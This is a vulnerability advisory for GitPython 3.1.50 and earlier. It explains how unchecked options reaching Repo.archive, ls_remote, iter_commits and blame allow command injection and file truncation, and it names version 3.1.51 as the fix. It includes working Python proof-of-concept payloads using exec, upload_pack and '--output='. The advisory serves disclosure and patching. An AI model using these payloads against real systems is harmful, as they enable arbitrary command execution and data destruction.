GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options
GitPython 3.1.50 and earlier let callers pass dangerous Git options directly into several API methods with no safety check, enabling arbitrary command execution via Repo.archive() and…
The problem
GitPython maintains a denylist of unsafe Git options and enforces it through Git.check_unsafe_options(). That check is wired into only four network-facing methods: clone_from, Remote.fetch, Remote.pull, and Remote.push.
Three other public APIs forward caller-controlled values into the Git argv with no guard at all. Repo.archive(**kwargs) passes keyword arguments verbatim as Git flags before the -- separator, so options like --remote and --exec reach the subprocess unchecked. repo.git.ls_remote(upload_pack=...) uses the dynamic kwarg builder to produce --upload-pack=<value> with no validation. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev positional before -- with no leading-dash check, so a value like --output=/path is parsed by Git as a file-write flag.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
# PoC 1: RCE via Repo.archive (works under default Git config, no special setup)
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)
# kwargs forwarded verbatim -> git archive --remote=. --exec='touch <marker>' -- HEAD
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError:
pass
print('[+] RCE marker present:', os.path.exists(marker)) # True
# PoC 2: RCE via ls_remote
repo.git.ls_remote('.', upload_pack='touch /tmp/gp_lsr_marker;')
# PoC 3: Arbitrary file truncation via iter_commits
victim = '/tmp/gp_fw_victim'
open(victim, 'w').write('do not delete\n')
try:
list(repo.iter_commits('--output=' + victim))
except git.exc.GitCommandError:
pass
print('[+] file truncated:', open(victim).read() == '') # TrueThe root cause is scope: check_unsafe_options() exists and works, but it is called from only four call sites, all of them network commands. Every other method that builds a Git argv from caller input is unguarded.
For Repo.archive, transform_kwarg() dashifies Python keyword arguments into --name=value flags and inserts them before the -- end-of-options marker. Passing exec='<cmd>' produces git archive --remote=<repo> --exec=<cmd> -- HEAD. Git's archive --remote invokes git-upload-archive; --exec overrides the helper binary path.
No protocol.ext.allow configuration is needed.
For iter_commits and blame, the rev argument lands before -- with no leading-dash check. Git honours --output=<file> in rev-list, log, and blame, opening and truncating the target file before it validates the revision. The file is destroyed even though Git then errors out.
CWE-88 (Argument Injection) and CWE-77 (Command Injection) both apply.
The fix
Upgrade to GitPython 3.1.51 (commit 701ce32, PR #2163). The patch extends check_unsafe_options() coverage to Repo.archive, ls_remote, iter_commits, blame, and the general dynamic-command builder, and adds a leading-dash guard on positional rev arguments before the -- separator.
Related research
- high · 8.8GitPython unsafe-option guard bypass via split_single_char_options=False short-option smuggling
- high · 8.8GitPython: git-config Option-Name Injection via = and # Characters Enables RCE
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling